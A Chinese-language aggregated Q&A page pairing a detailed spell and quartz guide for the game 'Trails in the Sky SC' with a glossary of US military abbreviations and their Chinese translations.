『壹』 空之軌跡SC問題
ED6 SC部分
首先不得不先說清楚"結晶迴路"這個概念,不然沒法講,因為好像有不少人弄錯"結晶迴路"是指什麼
結晶迴路(クオーツ,Quartz):是指你的物品欄裡面"迴路/クオーツ"一欄放的那些HP1、攻擊2、防禦3、葉隱、石化之刃這些東西,它們可以被裝配在導力器的結晶孔上面。
並不是指你的導力器上面那些孔和線(那個叫結晶鏈)
導力魔法表
說明
"屬性"是指該魔法的屬性,某些敵人對不同屬性的魔法有不同的抵抗能力。"必要屬性值"是配出該魔法需要參考的值:每種結晶迴路都有自己的屬性值,只要將正確的結晶迴路裝在導力器上,讓某一條結晶鏈上的各屬性值之和(地水火風時空幻分別求和)滿足該魔法的必要屬性值,那麼就可以使用該魔法。
舉例:
(1)要給奧利維爾配出火系最強攻擊魔法"アークプロミネンス"(PS:這個就是第2章支線任務希德中校那個全體攻擊的強力魔法),查得該魔法的必要屬性值是火15風8空8地4,假定現在是游戲後期,導力器的孔可以開3級,那麼可以選擇如下迴路:
紅耀珠( 火12),
4 fc以及sc的所有魔法的配方!
機功 ( 水2火5 時2),
木耀珠( 風12 空2幻2),
金耀珠( 時7空10幻7),
耀脈(地5水3),
總和是地5水5火17風12時9空12幻9,滿足火15風8空8地4的要求,這時看看下面你能用的魔法列表,裡面一定有這個"アークプロミネンス"。
(這個求和不用你自己算,只要看Orbment那一頁的右上角,那裡的"Line 1""Line 2"……就可以了,那個就是自動給你算出的各條鏈上的屬性值)
如果另外再加上
銀耀珠( 時8空8幻12)和
驅動2( 時3),
那就是地5水5火17風12時20空20幻21,這樣連時屬性的最強攻擊魔法"デス.スクリーム(死亡之嚎)"(時15空10幻10)和"アビス.フォール(深淵墜落)"(時18風6空6幻6)也能使出來了。
(2)要給小艾配出幻屬性的攻擊魔法"銀色荊棘"(PS:這個就是FC裡面洛倫斯少尉那招混亂的招式,90%幾率混亂啊),查得該魔法的必要屬性值是幻20空12時4,那麼選擇如下迴路:
黑耀珠(時12),(放在中央的孔上)
金耀珠(時7空10幻7),
天眼(火2 空3幻1),
銀耀珠(時8空8幻12)
總和是…時27空21幻20,滿足時4空12幻20的要求。這樣就可以用這招了。而另一條鏈,因為共用"黑耀珠",時屬性值也比較高,可以配時屬性魔法。
注意,小艾的結晶鏈沒有奧利維爾的長,最長只有4孔一線,所以要盡可能巧妙組合迴路,盡量發揮每個迴路屬性值的最大效率。對於結晶鏈有分叉的人,應該盡量在中央的孔裝上屬性值最大的迴路,這樣這個迴路的屬性各條鏈都可以共享。
還有人的結晶鏈更短,像金,分了四叉,最長的只有3孔一線,這種人,天生就不是用魔法的料,再怎麼用高級的迴路,也配不出高級的魔法出來,那麼主要還是用物理攻擊吧,裝上一些增強物理攻擊能力的迴路,順便配一些初、中級的輔助魔法就可以了。反正我到最後都選公主和王子的
注1:表中名字為藍色的是FC中就有的魔法,但是必要屬性值和效果等與FC中的不完全相同。
注2:范圍魔法(小圓,中圓,大圓)還分為目標指定和地點指定。前者必須以某個敵人為中心,並會隨著敵人的移動而移動,不會發空,但是覆蓋的目標有限;後者可以以戰場任何位置為中心,因此可以覆蓋更多的目標,但是敵人可以在驅動時逃出施法范圍。此表中暫不加以區別。
這個表本來是按魔法屬性分類的(跟手冊里的順序一致),但重新考慮了一下,還是不打算跟手冊完全一樣,於是改成按作用分類。
現在嘗試將魔法名翻譯中文。*為未確定翻譯,大家可以幫幫忙
回復類(補充HP、解除異常狀態)共12種,新增4種
名稱 屬性 必要屬性值 效果 范圍 消費EP 補充說明
回復術 ◆水 水1 回復 單體 10 HP小回復
中回復術 ◆水 水4 回復 單體 20 HP中回復
大回復術 ◆水 水8 回復 單體 40 HP大回復
全回復術 ◆水 水15 回復 單體 70 HP全回復
回復術.復 ◆水 水2風1空1 回復 小圓 20 HP小回復
中回復術.復 ◆水 水8風2空2 回復 中圓 55 HP中回復
大回復術.復 ◆水 水16風8空4 回復 大圓 200 HP大回復
全回復術.復 ◆水 水22風12空6 回復 全體 300 HP全回復
治癒術 ◆水 水2幻1 回復 單體 10 狀態異常解除
治癒術.復 ◆水 水8幻4空2 回復 大圓 30 狀態異常解除
復甦術 ◆水 水4地2幻1 回復 單體 30 戰斗不能解除+HP小回復
完全復甦術* ◆水 水18地8幻4 回復 單體 180 戰斗不能解除+HP全回復
5 fc以及sc的所有魔法的配方!
輔助類(給我方附加有利狀態)共15種,新增6種
名稱 屬性 必要屬性值 效果 范圍 消費EP 補充說明
風之守護 ◆風 風2 輔助 單體 10 AGL+50%
風之羽翼 ◆風 風1 輔助 單體 10 MOV+1
シルファリオン ◆風 風5 輔助 小圓 40 MOV+2
大地之障 ◆地 地2 輔助 單體 10 完全防禦1次
大地之牆 ◆地 地8空4 輔助 小圓 75 完全防禦1次
蓋亞之盾* ◆地 地16空15 輔助 全體 220 完全防禦1次
結晶防護 ◆地 地2水1空1幻1 輔助 單體 15 DEF+25%
結晶防護.復 ◆地 地5水3空3幻3 輔助 中圓 40 DEF+25%
強音之力 ◆火 火2風1空1幻1 輔助 單體 15 STR+25%
強音之力.復 ◆火 火5風3空3幻3 輔助 中圓 40 STR+25%
A-結晶防護 ◆空 空6地水火風1 輔助 中圓 50 ADF+30%
神聖祝福 ◆幻 幻3地水火風空1 輔助 單體 40 STR.DEF+25%
黃道十二宮* ◆幻 幻8地水火風空4 輔助 全體 240 STR.DEF+25%
時間加速 ◆時 時1 輔助 單體 10 SPD+25%
時間加速.改 ◆時 時9 輔助 單體 30 SPD+50%
妨害類(給敵方附加異常狀態,不扣HP)共8種,新增5種
名稱 屬性 必要屬性值 效果 范圍 消費EP 補充說明
大地之縛* ◆地 地6時4空4 妨害 小圓 40 MOV-4
混沌烙印 ◆幻 幻7 妨害 單體 40 混亂
鬼魅之痛 ◆幻 幻5地3火3空3 妨害 中圓 50 STR-15%
沉默禁閉* ◆幻 幻6地2風2空2 妨害 全體 50 技和魔法打斷
反魔法領域 ◆時 時3 妨害 單體 20 封魔
反魔法領域.全 ◆時 時7空3風1 妨害 中圓 40 封魔
導力停止* ◆時 時12空8風4 妨害 全體 100 封魔、ADF-30%
時間減速 ◆時 時8空4 妨害 中圓 50 SPD-50%
攻擊類(攻擊敵方,可能有一定幾率附加異常狀態)共38種,新增15種
名稱 屬性 必要屬性值 效果 范圍 消費EP 補充說明
石之錘 ◆地 地1 攻擊 單體 10
岩石之息 ◆地 地3 攻擊 單體 30 20%幾率石化
大地之槍 ◆地 地5 攻擊 單體 20
隕石沖擊 ◆地 地3空2 攻擊 中圓 40
岩石之雲* ◆地 地5風3 攻擊 中圓 60 20%幾率石化
阿特拉斯之錘* ◆地 地10火6 攻擊 中圓 80
泰坦之咆哮 ◆地 地8空4 攻擊 全體 70
大地之災難* ◆地 地14空12 攻擊 全體 160
水之矢 ◆水 水1 攻擊 單體 10
冰藍沖擊 ◆水 水5 攻擊 單體 20
冰藍升騰* ◆水 水12 攻擊 單體 30
鑽石星塵 ◆水 水10風2空1 攻擊 小圓 60 20%幾率凍結
冰獄寒嵐 ◆水 水25風12空5 攻擊 全體 150 20%幾率凍結
6 fc以及sc的所有魔法的配方!
火之矢 ◆火 火1 攻擊 單體 10
炎之箭 ◆火 火3 攻擊 單體 20
燃燒之息 ◆火 火8 攻擊 單體 40
旋風烈焰* ◆火 火12 攻擊 單體 70
火之矢.改 ◆火 火3風1空1 攻擊 中圓 20
螺旋之炎 ◆火 火5風2空2 攻擊 中圓 30
火山之咆哮 ◆火 火8空5地3 攻擊 中圓 50
流星隕落* ◆火 火8風5空5地3 攻擊 大圓 80
弧形日珥* ◆火 火15風8空8地4 攻擊 全體 180
風之輪 ◆風 風1 攻擊 單體 10
風之領域 ◆風 風3空1 攻擊 中圓 20
狂怒風暴 ◆風 風10空3地1 攻擊 大圓 70
閃電光束 ◆風 風8空2 攻擊 直線 20 20%幾率封技
等離子之波 ◆風 風12空5 攻擊 直線 50 20%幾率封技
ラグナブラスト ◆風 風15空8 攻擊 直線 80 20%幾率封技
グランストリーム ◆風 風20空5地3 攻擊 全體 140
心靈之霞 ◆時 時1 攻擊 單體 10 20%幾率氣絕
暗影之矛 ◆時 時7 攻擊 單體 40 20%幾率戰斗不能
地獄之門 ◆時 時6空3幻3 攻擊 小圓 30 20%幾率氣絕
熾炎地獄 ◆時 時10風4空4幻4 攻擊 中圓 60 20%幾率氣絕
深淵墜落* ◆時 時18風6空6幻6 攻擊 大圓 90 20%幾率氣絕
死亡之嚎* ◆時 時15空10幻10 攻擊 全體 120 20%幾率戰斗不能
暗物質* ◆空 空4 攻擊 單體 40
ロストメビウス ◆空 空12風5地3火3 攻擊 中圓 100
銀色荊棘 ◆幻 幻20空12時4 攻擊 中圓 90 90%幾率混亂
總計73種魔法,比FC新增30種。
結晶迴路表
說明
"屬性"是指這個迴路的屬性,每個人的導力器上都會有幾個結晶孔會限制你只能裝入某種特定屬性的迴路(舉例:約修亞的導力器中心的孔是限制時屬性的,那麼你只能在這個孔裡面裝入屬性是時的迴路,也就是"行動力"系列,"驅動"系列,"暗之刃""死之刃"和"死之理",還有"幸運"),只有小艾是例外。"加算屬性值"是指這個迴路所帶有的屬性值,這個是配魔法所需要的。請參見上面魔法表的內容。
每個結晶迴路還都有它的特殊能力,就是表中"效果內容說明"那一欄裡面所說的。
可能不少人只知道利用迴路的特殊能力,而不知道它們都有屬性值,也就不清楚怎樣用它們來配魔法。這實在是很浪費。
迴路分很多類,像攻擊1,攻擊2,攻擊3,攻擊4,紅耀珠這就是一類。其他的1、2、3、4、5同理。注意「范圍」這個迴路自成一類,它在FC裡面叫做「范圍1」不知道什麼原因沒有范圍2、范圍3等。所有XX之刃和XX之理也是一個類。同一個人的導力器上不能裝上同類的兩個迴路。舉例,如果裝了攻擊4,那就不能再裝一個攻擊4或者攻擊3。如果裝了死之刃1,那就不能再裝凍結之理。而且即使不裝在一條鏈上也不行。這些都是配魔法的時候要小心考慮的。除此之外的迴路都不成類,互不排斥,像幸運,葉隱,治癒之類的,這些可以同時裝備很多個,而且同種的也可以裝多個(比如可以給一個人裝上7個幸運,如果你有這么多的話。不過效果有沒有疊加我沒有試過)。
迴路的等級:這個是SC裡面才有的概念。SC裡面迴路和結晶孔都有等級之分,結晶孔一開始是1級,然後可以在工房裡面"強化"升到2級(和FC中的開孔同樣的操作)。後期更可以強化到3級。等級是用黃色或灰色的小方塊表示的。高等級的迴路,無法裝在低等級的孔上。如果你的一個孔只有1級,那麼你無法給這個孔裝上"XX4"或者"XX之理"等迴路,因為這些迴路都是2級的。
7 fc以及sc的所有魔法的配方!
不要認為同類的迴路,數字越大的一定總是越好,當然,基本上是數字越大越好,但是副作用也越來越大。注意看下面的表。比如,如果同時裝上紅耀珠和琥耀珠,那麼攻防數值將會抵消掉不少。再看"行動力"系列,從行動力4開始,將會附加MOV減少的副作用,行動力4是MOV-1,黑耀珠是MOV-2。而行動力1-3沒有這樣的副作用。當然,副作用的感覺似乎並不明顯就是了。
另外死之刃1和死之刃2的區別不用多說了吧,死之刃2雖然100%戰斗不能(免疫者無效)但只能用一次,攻擊一次以後不管敵人有沒有死,這個迴路就消失了,那個孔變成空的。
注1:藍色名字的是FC中就有的迴路,但是屬性、加算屬性值、效果與FC中的不完全相同。效果普遍比FC削弱了。
注2:灰色名字的迴路正常情況下無法得到,只能修改出來。這些迴路是程序員Debug時用的,或者是少數敵人身上才有的(為的是讓這些敵人有物理免疫或者魔法免疫等特性),如果你不想破壞游戲平衡性,讓游戲失去挑戰性的話,請不要隨便使用。而且這些迴路的屬性值是無,因此對配魔法沒有任何價值。賣價也只有1。
注3:游戲前期在工房裡面只能將孔強化到2級,游戲第7章,打完第一個塔回到船上時會發生劇情,此後可以將孔強化到3級。等級3的耀珠要到這以後才可以使用。在這之前,將無法將耀珠裝在導力器上。(如果你用修改器把孔的等級改到3級那也可以用,但游戲中依然顯示2個小黃方塊-2級)
注4:必殺之刃的"會心一擊"指的是CRITICAL,相當於行動欄中獎勵的"!",攻擊和回復的效果都是正常時的1.5倍。
注5:"美臭""陽炎""葉隱"的效果,優先順序依次升高。如果同時裝備美臭和陽炎,將是陽炎的效果。同時裝備葉隱和另外一個,那就仍是不遇敵。
注6:注意一下"美臭"這個迴路,雖然吸引魔獸的功能讓人不太願意裝它,但是它的屬性值種類是最多的,地水火風都有,只要裝上它就可以使出各系的初級魔法,而且配高級魔法時也可以善加利用。用它來配空和幻屬性的魔法很方便。不過,很稀少……
注7:"XX之刃"可帶來異常狀態效果(必殺之刃除外),但如果敵人對這種異常狀態免疫,那麼也照樣無效。拿"死之刃2"去砍BOSS只能是浪費,我再提醒一遍。
注8:(修改)"物理吸收""魔法吸收"可以將敵人的傷害變成補充HP,但是不能抵抗異常狀態和能力減少(不過就算被石化了,再受到攻擊也不會戰斗不能)。"物理反射""魔法反射"可以反射任何來自敵我雙方的攻擊、回復、狀態改變,將效果原封不動的加到原施加者身上。只有自己對自己使用葯物、魔法、技能才可以給自己回復、增強能力。如果給一個人同時裝上"物理反射"和"魔法反射",將是完全的無敵。但有一種情況例外:如果敵我都有反射能力,則攻擊一方仍會受到反射傷害。
至於各迴路怎樣得到,請看這個帖子:
http://game.ali213.net/thread-924966-1-1.html
名稱 屬性 等級 加算屬性值 效果內容說明
HP1 ●水 1 水1 最大HP+3%
HP2 ●水 1 水3 最大HP+6%
HP3 ●水 1 水5 最大HP+9%
HP4 ●水 2 水8 最大HP+12%
水耀珠/HP5 ●水 3 水12 最大HP+15%
EP1 ●幻 1 幻2時1空1 最大EP+3%
EP2 ●幻 1 幻3時2空2 最大EP+6%
EP3 ●幻 1 幻5時3空3 最大EP+9%
EP4 ●幻 2 幻8時5空5 最大EP+12%
銀耀珠/EP5 ●幻 3 幻12時8空8 最大EP+15%
攻擊1 ●火 1 火1 STR+3%.DEF-1%
攻擊2 ●火 1 火3 STR+6%.DEF-3%
8 fc以及sc的所有魔法的配方!
攻擊3 ●火 1 火5 STR+9%.DEF-5%
攻擊4 ●火 2 火8 STR+12%.DEF-7%
紅耀珠/攻擊5 ●火 3 火12 STR+15%.DEF-9%
防禦1 ●地 1 地1 DEF+3%.STR-1%
防禦2 ●地 1 地3 DEF+6%.STR-3%
防禦3 ●地 1 地5 DEF+9%.STR-5%
防禦4 ●地 2 地8 DEF+12%.STR-7%
琥耀珠/防禦5 ●地 3 地12 DEF+15%.STR-9%
精神1 ●水 1 水1 ATS+3%.ADF-1
精神2 ●水 1 水3 ATS+6%.ADF-2
精神3 ●水 1 水5 ATS+9%.ADF-3
精神4 ●水 2 水8 ATS+12%.ADF-4
蒼耀珠/精神5 ●水 3 水12 ATS+15%.ADF-5
魔防1 ●風 1 風1 ADF+30.ATS-1%
魔防2 ●風 1 風3 ADF+40.ATS-3%
魔防3 ●風 1 風5 ADF+50.ATS-5%
魔防4 ●風 2 風8 ADF+75.ATS-7%
翠耀珠/魔防5 ●風 3 風12 ADF+150 .ATS-9%
命中1 ●幻 1 幻1 DEX+5.AGL-1
命中2 ●幻 1 幻3 DEX+10.AGL-2
命中3 ●幻 1 幻5 DEX+15.AGL-3
命中4 ●幻 2 幻8 DEX+20.AGL-4
幻耀珠/命中5 ●幻 3 幻12 DEX+25.AGL-5
迴避1 ●風 1 風1 AGL+1
迴避2 ●風 1 風3 AGL+2
迴避3 ●風 1 風5 AGL+3
迴避4 ●風 2 風8 AGL+4
風耀珠/迴避5 ●風 3 風12 AGL+5
移動1 ●空 1 空1 MOV+1
移動2 ●空 1 空3 MOV+2
移動3 ●空 1 空5 MOV+3
行動力1 ●時 1 時1 SPD+10%
行動力2 ●時 1 時3 SPD+20%
行動力3 ●時 1 時5 SPD+30%
行動力4 ●時 2 時8 SPD+40%.MOV-1
黑耀珠/行動力5●時 3 時12 SPD+50%.MOV-2
妨害1 ●風 1 風1 10%幾率解除敵人發動中的技和魔法
妨害2 ●風 1 風3 15%幾率解除敵人發動中的技和魔法
妨害3 ●風 1 風5 20%幾率解除敵人發動中的技和魔法
妨害4 ●風 2 風8空1幻1 25%幾率解除敵人發動中的技和魔法
木耀珠/妨害5 ●風 3 風12空2幻2 30%幾率解除敵人發動中的技和魔法
省EP1 ●空 1 空2時1幻1 EP消費量-10%
省EP2 ●空 1 空3時2幻2 EP消費量-20%
省EP3 ●空 1 空5時3幻3 EP消費量-30%
9 fc以及sc的所有魔法的配方!
省EP4 ●空 2 空8時5幻5 EP消費量-40%
金耀珠/省EP5●空 3 空10時7幻7 EP消費量-50%
驅動1 ●時 1 時1 魔法驅動時間縮短
驅動2 ●時 1 時3 魔法驅動時間大幅縮短
毒之刃 ●地 1 地3 10%幾率讓敵人陷入「毒」狀態
凍結之刃 ●水 1 水3 10%幾率讓敵人陷入「凍結」狀態
石化之刃 ●地 1 地3 10%幾率讓敵人陷入「石化」狀態
睡眠之刃 ●風 1 風3 10%幾率讓敵人陷入「睡眠」狀態
封魔之刃 ●地 1 地3 10%幾率讓敵人陷入「封魔」狀態
暗之刃 ●時 1 時3 10%幾率讓敵人陷入「黑暗」狀態
封技之刃 ●火 1 火3 10%幾率讓敵人陷入「封技」狀態
混沌之刃 ●幻 1 幻3 10%幾率讓敵人陷入「混亂」狀態
必殺之刃 ●空 1 空3 10%幾率使出會心一擊
死之刃1 ●時 1 時3 10%幾率使敵人「戰斗不能」
死之刃2 ●時 1 無 必然使敵人戰斗不能,但只可用一次
毒之理 ●地 2 地8 20%幾率讓敵人陷入「毒」狀態
凍結之理 ●水 2 水8 20%幾率讓敵人陷入「凍結」狀態
石化之理 ●地 2 地8 20%幾率讓敵人陷入「石化」狀態
睡眠之理 ●風 2 風8 20%幾率讓敵人陷入「睡眠」狀態
封魔之理 ●地 2 地8 20%幾率讓敵人陷入「封魔」狀態
暗之理 ●時 2 時8 20%幾率讓敵人陷入「黑暗」狀態
封技之理 ●火 2 火8 20%幾率讓敵人陷入「封技」狀態
混沌之理 ●幻 2 幻8 20%幾率讓敵人陷入「混亂」狀態
必殺之理 ●空 2 空8 20%幾率使出會心一擊
死之理 ●時 2 時8 20%幾率使敵人「戰斗不能」
100%毒之刃 ●火 1 無 必然使敵人陷入「毒」狀態
100%凍結之刃●火 1 無 必然使敵人「凍結」
100%石化之刃●火 1 無 必然使敵人「石化」
100%睡眠之刃●火 1 無 必然使敵人「睡眠」
100%封魔之刃●火 1 無 必然使敵人「封魔」
100%暗之刃 ●水 1 無 必然使敵人「黑暗」
100%封技之刃●水 1 無 必然使敵人「封技」
100%混沌之刃●水 1 無 必然使敵人「混亂」
100%氣絕之刃●地 1 無 必然使敵人「氣絕」
100%必殺之刃●火 1 無 必然使出會心一擊
100%死之刃 ●火 1 無 必然使敵人「戰斗不能」
物理吸收 ●地 1 無 吸收物理攻擊(物理攻擊補充HP)
魔法吸收 ●地 1 無 吸收魔法攻擊(魔法攻擊補充HP)
物理反射 ●時 1 無 反射物理攻擊(物理傷害轉到攻擊者身上)
魔法反射 ●時 1 無 反射魔法攻擊(魔法傷害轉到攻擊者身上)
范圍 ●空 1 空3 魔法效果范圍擴大
情報 ●幻 1 幻2 戰斗中可以看到敵人詳細信息
10 fc以及sc的所有魔法的配方!
美臭 ●風 1 風4地2水2火2 容易被魔獸發現
鷹目 ●空 1 空3幻2 可以看到遠處的魔獸
陽炎 ●幻 1 幻3地2 難以被魔獸發現
葉隱 ●幻 1 幻3火2 和魔獸接觸也不會戰斗(不遇敵)
治癒 ●水 1 水3時2 移動中會逐漸恢復HP
耀脈 ●地 2 地5水3 魔獸掉落的耀晶片每屬性增加1-2個
天眼 ●空 2 空3火2幻1 鷹目+情報
陰陽 ●水 2 水5空2幻2 陽炎+治癒
吸收 ●風 2 風4水2空2 打倒敵人時恢復自己最大HP的2%
機功 ●火 2 火5水2時2 移動中會逐漸恢復EP
幸運 ●時 1 時3地1空1 敵人掉落物品幾率上升30%
http://tieba..com/f?kz=131410108
『貳』 美軍的一些軍事術語的英文縮寫有哪些
A:Attacker = 攻擊機
AA:Anti-Air = 防空
AAA:Anti-Air Artillery = 高射炮
AAAV:Advanced Amphibious Assault Vehicle = 先進兩棲突擊車
AAM:Air-to-Air Missile = 空對空導彈
AAR:Air-to-Air Refueling = 空中加油
AAW:Anti-Air Warfare = 防空作戰
ABL:AirBorne Laser = 機載激光器
ABM:Anti-Ballistic Missile = 反彈道導彈
ACMS:Air Combat Maneuvering System = 空戰機動系統
ACV:Armored Combat Vehicle = 裝甲戰車
AFV:Armored Fighting Vehicle = 裝甲戰車
AEM&C:Airborne Early Warning and Control = 空中預警與指揮
AEW:Airborne Early Warning = 空中早期預警
AFB:Air Force Base = 空軍基地
AGM:Air-to-Ground Missile = 空對地導彈
AGS:Armored Gun System = 裝甲火炮系統
AGS:Advance Gun System = 先進火炮系統
AIM:Air Intercept Missile = 攔射空空導彈
ALBM:Air-Launched Ballistic Missile = 空射彈道導彈
ALCM:Air-Launched Cruise Missile = 空射巡航導彈
AMRAAM:Advanced Medium Range Air-to-Air Missile = 先進中程空空導彈
APAR:Active Phase-Array Radar = 主動相控陣雷達
APC:Armored Personnel Carrier = 裝甲人員輸送車
APFSDS-T:AP Fin-Stab. Discarding Sabot-Tracer = 尾翼穩定脫殼穿甲曳光彈
APS:Artillery Pointing System = 火炮指示系統
ARM:Anti Radiation Missile = 反輻射導彈
ASM:Air-to-Surface Missile = 空對艦導彈
ASRAAM:Advanced Short Range Air-to-Air Missile = 先進短程空空導彈
ASROC:Anti-Submarine Rocket = 反潛火箭
ASuW:Anti-Surface Warfare = 反面作戰
ASW:Anti-Submarine War = 反潛
ASW:Anti-Submarine Warfare = 反潛作戰
ATC:Air Traffic Control = 空中交通管制
ATGM:Anti-Tank Guided Missile = 反坦克導彈
ATM:Advanced Turret Mole = 先進炮塔模塊
AUV:Autonomous Underwater Vehicle = 自主式水下航行器
AWAC:Airborne Warning And Control = 空中預警和控制
AWACS:Airborne Warning and Control System = 空中預警與指揮系統
AWOL:Absent WithOut Leave = 擅離職守;無故離隊;開小差
B:Bomber = 轟炸機
BB:Battle Ship = 戰列艦
BC:Battle Cruiser = 戰列巡洋艦
BDA:Battle Damage Assessment = 戰斗損害評估
BPI:Boost Phase Intercept = 加速階段攔截
BRAA:Bearing, Range, Altitude and Aspect = 目標飛行情況
BVR:Beyond Visual Range = 超視距
BVRAAM:Beyond Visual Range Air-to-Air Missile = 超視距空空導彈
C:Carrier = 運輸機
C3:Command, Control and Communication = 指揮控制通信系統
CAP:Combat Air Patrol = 戰斗空中巡邏
CAS:Close Air Support = 近距空中支援
CASE:Computer Aided Software Engineering = 電腦輔助軟體工程
CBU:Clustered Bomb Unit = 集束炸彈
CENTCOM:Central Command = 中央司令部
CFC:Carbon Fiber Composite = 碳纖維復合材料
CC:Cruiser = 巡洋艦
CG:Cruiser (Guided-missile) = 導彈巡洋艦
CIC:Combat Information Center = 戰斗信息中心
CIC:Commander in Chief = 最高指揮官
CIWS:Close-In Weapon System = 近戰武器系統
CIWS:Close Intercept Weapon System = 近程防禦系統
CNChief of Naval Operation = 海軍作戰部長
COMINT:Communication Intelligence = 通信情報
COMDAC INS:Command Display and Control Integrated Navigation System = 集成控制導航系統
CR:Close Range = 近程
C/S:Course and Speed = 航向與速度
CV:Carrier Vessel = 常規動力航空母艦
CVN:Carrier Vessel (Nuclear-powered) = 核動力航母
CVBG:Carrier Battle Group = 航母戰斗群
DASS:Defensive Aids Sub-System = 防禦性輔助子系統
DD:Destroyer = 驅逐艦
DDG:Destroyer (Guided-missile) = 導彈驅逐艦
DU:Depleted Uranium = 貧鈾
DVI:Direct Voice Input = 直接語音輸入技術
E:Electronic = 電子戰機
ECCM:Electronic Counter-Counter Measures = 電子反對抗,反電子戰
ECM:Electronic Counter Measures = 電子對抗,電子戰
ELINT:Electronic Intelligence = 電子情報
EMCON:Emissions Control = 發射控制
EML:ElectricMagnet Launcher = 電磁炮
EMP:ElectricMagnet Palse = 電磁脈沖
ERAAM:Extended Range Air-to-Air Missile = 延程空空導彈
ESM:Electronic Signal Measures = 電子信號警告
ESM:Electronic Support Measures = 電子支援
ETG:Electro Thermal Gun = 電熱炮
ETCG:Electro Thermal Chemical Gun = 電熱化學炮
EW:Early Warning = 預警
EW:Electronic Warfare = 電子戰
EWAC:Early Warning And Control= 預警及控制
F:Fighter = 戰斗機
FAE:Fuel Air Explosive = 油氣炸彈
FEL:Free Elctron Laser = 自由電子激光器
FF:Frigate = 護衛艦
FFG:Frigate(Guided-missile) = 導彈護衛艦
FLIR:Forward Looking Infra-Red = 前視紅外
FLOT:Forward Line Of Troops = 前線
FMTV:Family of Medium Tactical Vehicles = 中型戰術車族
GEM:Guidance-Enhanced Missile = 制導增強導彈
GEGeo-Stationary Orbit = 地球同步軌道
GPS:Global Positioning System = 全球定位系統
GZ:Ground Zero = 核爆炸中心地面投影
H:Helicopter = 直升機
HE:High Explosive = 高爆炸葯
HEAT:High-Explosive Anti-Tank = 高爆反坦克炸葯(成形炸葯)
HMD:Helmet Mounted Display = 頭盔顯示器
HPM:High Power Microwave = 高功率微波
HQ:Headquarters = 總部
HUD:Head-Up Display = 抬頭顯示器
HVU:High Value Unit = 高價值單位
IADS:Integrated Air Defense System = 綜合防空系統
ICBM:Intercontinental Ballistic Missile = 洲際彈道導彈
IED:Intelligent Electronic Device = 智能電子設備
IFF:Identification of Friend or Foe = 敵我識別
IFV:nfantry Fighting Vehicle = 步兵戰車
IPE:Indivial Protection Ensemble = 單兵防護裝備
IRBM:Intermediate-Range Ballistic Missile = 中程彈道導彈
IRST:Infra-Red Search and Track = 紅外搜索跟蹤
JDAM:Joint Direct Attack Munitions = 聯合直接攻擊彈葯
JHMCS:Joint Helmet Mounted Cueing System = 聯合頭盔指引系統
JSF:Joint Strike Fighter = 聯合打擊戰斗機
J-STAR:Joint Surveillance and Target Attack Radar system = 聯合偵察和目標打擊系統
JTIDS:Joint Tactical Info Distribution System = 聯合戰術信息分發系統
K:Kerosene = 加油機
KIA:Kill in Action = 陣亡
LANTIRN:Low-Alt. Nav.& Targeting Infra-Red for Night = 低空導航與目標指示紅外夜視儀
LAV:Light Armored Vehicle = 輕型裝甲車輛
LCA:Light Combat Aircraft = 輕型戰斗機
LELow Earth Orbit = 近地軌道
LD:Laser Designator = 激光導引
LGB:Laser Guided Bomb = 激光制導炸彈
LORCAP:Long-Range Combat Air Patrol = 長距離戰斗空中巡邏
LPT:Low Profile Turret = 低矮炮塔
LRBM:Long-Range Ballistic Missile = 遠程彈道導彈
LRIP:Low Rate Initial Proction = 低速試產
MBT:Main Battle Tank = 主戰坦克
MC:Marine Corps = 海軍陸戰隊
MCA:Medium Combat Aircraft = 中型戰斗機
MCM:Mine Counter-Measures = 掃雷
MFD:Multi-Function Display = 多功能顯示器
MFR:Multifunction Radar = 多用途雷達
MIL-STD:Milliraty Standard = 軍事標准
MLU:Mid-Life Update = 中期延壽(戰機)
MOPP:Mission-Oriented Protective Posture = 攻擊中的防範狀態
MOAB:Massive Ordnance Air Blast = 巨型空中炸彈
MOAB:Mother Of All Bombs = 炸彈之母
MPRF:Medium Pulse Repetition Frequency = 中脈沖重復頻率
MRLS:Multiple Rocket Launching System = 多管火箭發射系統
NAVSSI:Navigation Sensor System Interface = 導航感測器系統界面
NCTR:NonCooperative Target Recognition = 非己方目標識別
NBC:Nuclear Biological and Chemical = 核、生物、化學
OICW:Objective Indivial Combat Weapon = 目標單兵戰鬥武器
OOB:Order Of Battle = 戰斗序列
OPCW:Org. for the Prohibition of Chemical Weapons = 禁止化學武器組織
OTH:Over the Horizon = 超視距
OWS:Overhead Weapon System = 遙控炮塔
P:Patrol = 巡邏機
PA:Phase Array = 相控陣
PAC:Patriot Advanced Capability = 改進型愛國者導彈
PGM:Precision-Guided Munitions = 精確制導炸彈
PIM:Path of Intended Motion = 預定機動路線
PK:Probability of Kill = 殺傷率
PLGR:Precision Lightweight GPS Receiver = 精確輕型GPS接收器
R:Reconnaissance = 偵察機
RATRocket Assisted Take-Off = 火箭輔助起飛
RCS:Radar Cross Section = 雷達截面
RLG:Retractable Landing Gear = 回收式起落架
ROE:Rules of Engagement = 交戰規則
ROV:Remote Operated Vehicle = 遙控車輛、飛機
RPG:Rocket Propelled Grenade = 火箭助推榴彈
RTB:Return To Base = 返回基地
RTReady to Take-Off = 起飛准備就緒
RWR:Radar Warning Receiver = 雷達告警器
SAM:Surface to Air Missile = 防空導彈
SAR:Search and Rescue = 搜索救援
SAR:Synthetic Aperture Radar = 合成孔徑雷達
SATCOM:Satellite Communication = 衛星通信
SDV:Swimmer Delivery Vehicle = 潛水員輸送載具
SEAD:Suppression of Enemy Air Defense = 壓制敵方防空任務
SLBM:Submarine-Launched Ballistic Missile = 潛射彈道導彈
SLGR:Small Lightweight GPS Receiver = 小型輕便GPS接收器
SOP:Standard Operation Procere = 標准操作程序
SRBM:Short-Range Ballistic Missile = 近程彈道導彈
SSBN:Ballistic-missile Nuclear-powered Strategic Sub. = 戰略導彈核潛艇
SSL:Solid State Lasers = 固態激光器
SSM:Surface-to-Surface Missile = 面對面導彈
SSN:Strike Submarine (Nuclear-powered) = 攻擊型核潛艇
SSNDS:SSN Direct Support = 直接支援核潛艇
SSPK:Single-Shot Probability of Kill = 單發殺傷率
START:Strategic Arms Rection Treaty = 戰略武器削減條約
STK:Strike = 襲擊
STN:Satellite Tracking Network = 衛星跟蹤網
STOL:Short Take Off and Landing = 短距起降
STOP:Simultaneous Time on Top = 同時到達
SURTASS:SURface Towed Array Sonar System = 水面拖曳陣列聲納系統
TASM:Tomahawk Anti-Ship Missile = 戰斧反艦導彈
TEL:Transporter/Erector/Launcher = 運輸/起豎/發射車
THAAD:Theater High Altitude Area Defense = 戰區高空區域防空
